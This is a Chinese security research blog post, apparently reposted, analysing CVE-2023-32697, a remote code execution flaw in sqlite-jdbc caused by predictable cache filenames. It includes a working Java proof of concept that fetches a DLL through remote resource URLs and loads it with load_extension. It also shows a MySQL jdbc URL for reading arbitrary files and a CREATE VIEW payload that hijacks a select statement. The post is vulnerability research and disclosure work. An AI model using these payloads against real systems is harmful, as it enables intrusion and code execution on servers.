CVE-2023-32697——sqlite jdbc RCE

渗透技巧 1年前 (2023) admin
835 0 0


作为一直关注jdbc漏洞的人,看到这个漏洞当然要去研究下。

首先简单说明下jdbc漏洞是什么,其实就是控制了一个jdbc链接后造成的危害,具体可以看以前的这篇文章。

https://mp.weixin.qq.com/s/pYWbpyW8DHXGvqsJurbc6A

比如最常用的mysql任意文件读取。

jdbc:mysql://127.0.0.1:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360&user=linux_passwd


sqlite的jdbc已经有了一个SSRF和Magellan溢出,这次又是什么呢?

https://github.com/xerial/sqlite-jdbc/security/advisories/GHSA-6phf-6h5g-97j2

官方直接说是个RCE,3.6.14.1-3.41.2.1为漏洞版本,安全版本为3.41.2.2

https://github.com/xerial/sqlite-jdbc/releases/tag/3.41.2.2

一开始,我以为像所有的jdbc漏洞一样,sqlite的某些参数可以达到RCE的结果,于是去搜索了sqlite可以有哪些参数。

其中主要是由PRAGMA命令控制的一些环境变量。

https://www.sqlite.org/pragma.html

CVE-2023-32697——sqlite jdbc RCE

在jdbc中,控制cache_size=2000,也就相当于执行了对应的PRAGMA的SQL语句。

jdbc:sqlite:file:default.db?cache_size=2000PRAGMA cache_size = 2000

在org.sqlite.SQLiteConfig.apply()中,我们可以看到具体是怎么转换的。

CVE-2023-32697——sqlite jdbc RCE

除了这些PRAGMA之外,在org.sqlite.SQLiteConfig之中,我们能找到更多的jdbc可控参数。比如DATE相关参数,这些不是由PRAGMA控制的,因此官网上找不到相关信息。

CVE-2023-32697——sqlite jdbc RCE

其中有存在漏洞的参数吗?像mysql控制反序列化,或者PostgreSQL控制log/class一样。答案是几乎没有,你甚至都很难找到一个可以传任意string的参数。

其中很大一部分只能传boolean或者int,很大一部分是enum类,只能传内置的几个string。唯三能控制任意string的参数是date_string_format/temp_store_directory/password。password不提,date_string_format仅仅是对时间格式的解析,temp_store_directory则可以利用报错,来探测目录。

CVE-2023-32697——sqlite jdbc RCE

唯一跟RCE有关系的,是load_extension()这个加载dll的开关,可以通过jdbc控制。

CVE-2023-32697——sqlite jdbc RCE

那么漏洞到底是什么呢?还得从更新文件里面找,我一开始是对比文件进行寻找的,结果完全看不出来哪儿有问题,结果答案就在这个不起眼的fix中。

CVE-2023-32697——sqlite jdbc RCE

CVE-2023-32697——sqlite jdbc RCE

结果仅仅是把缓存文件的hashcode()换成了randomUUID(),也就是说,让缓存文件名不可预测了。这个缓存文件,即为远程加载数据库文件的缓存文件。

CVE-2023-32697——sqlite jdbc RCE

也就是说,这个漏洞本质上只能做到控制文件内容的文件写,结合sqlite的一些特性,那么整个漏洞的利用流程就可以推测出来了,实际就是进行两次外部数据库加载,一次随便一个db,一次dll,然后利用jdbc+load_extension进行RCE。

package test;
import java.io.File;import java.net.URL;import java.sql.Connection;import java.sql.DriverManager;import java.sql.Statement;
public class Test { public static void main(String[] args) throws Exception{
Class.forName("org.sqlite.JDBC"); String url1 = "http://127.0.0.1:81/default.db"; String url2 = "http://127.0.0.1:81/1.dll"; String tmp = "C:\Users\administrator\AppData\Local\Temp\sqlite-jdbc-tmp-"; String db = tmp + new URL(url1).hashCode() + ".db"; String dll = tmp + new URL(url2).hashCode() + ".db"; new File(db).delete(); new File(dll).delete(); DriverManager.getConnection("jdbc:sqlite::resource:"+url1).close(); DriverManager.getConnection("jdbc:sqlite::resource:"+url2).close(); Connection conn = DriverManager.getConnection("jdbc:sqlite:file:"+db+"?enable_load_extension=true"); Statement stmt = conn.createStatement(); String sql = "select load_extension('"+dll+"','dllmain')"; stmt.execute(sql); }}

具体效果如下

CVE-2023-32697——sqlite jdbc RCE

但这种控制了jdbc,还要控制sql语句的环境显然并不理想。如果jdbc就可以执行load_extension()就好了。但是sqlite无法通过jdbc进行多语句或者PRAGMA的注入,所以看起来整体似乎是个非常鸡肋的漏洞。


这篇文章中提到过一种利用CREATE VIEW来劫持select的方法,执行CREATE VIEW之后,db文件会插入CREATE VIEW语句(DDL),因此形成了一个恶意数据库文件。如果有条件先用jdbc加载这个文件,再执行某个固定无法更改的select,就可以被劫持成load_extension()

https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/

CREATE VIEW test(a) as select load_extension('calc.dll','dllmain')select * from test

CVE-2023-32697——sqlite jdbc RCE

但这也被视为漏洞,在高版本会出现上面这个提示,用sqlite-jdbc-3.21.0.1.jar测试成功。

CVE-2023-32697——sqlite jdbc RCE


然而在探索PRAGMA的过程中,我们还真发现了一个可以仅靠jdbc就能触发的select,那就是password

CVE-2023-32697——sqlite jdbc RCE

CVE-2023-32697——sqlite jdbc RCE

可能出于填充密码之后测试SQL语句是否能用的思路,高版本和低版本都默认执行了不同的select。
select 1 from sqlite_schema
select 1 from sqlite_master

不过很遗憾的是,它们都不是实际的表,而是系统自带的虚拟表,用于新建表的索引,无法通过CREATE VIEW劫持,即使手工修改数据库文件,插入CREATE VIEW也一样。

CVE-2023-32697——sqlite jdbc RCE

所以最后研究下来似乎还是个需要控制SQL的鸡肋漏洞,当然,如果有人能够实现jdbc的参数SQL注入,或者突破sqlite_xxxx的劫持限制,也许就真正成为一个完整的利用链了。


原文始发于微信公众号(珂技知识分享):CVE-2023-32697——sqlite jdbc RCE

版权声明:admin 发表于 2023年5月29日 下午4:29。
转载请注明:CVE-2023-32697——sqlite jdbc RCE | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...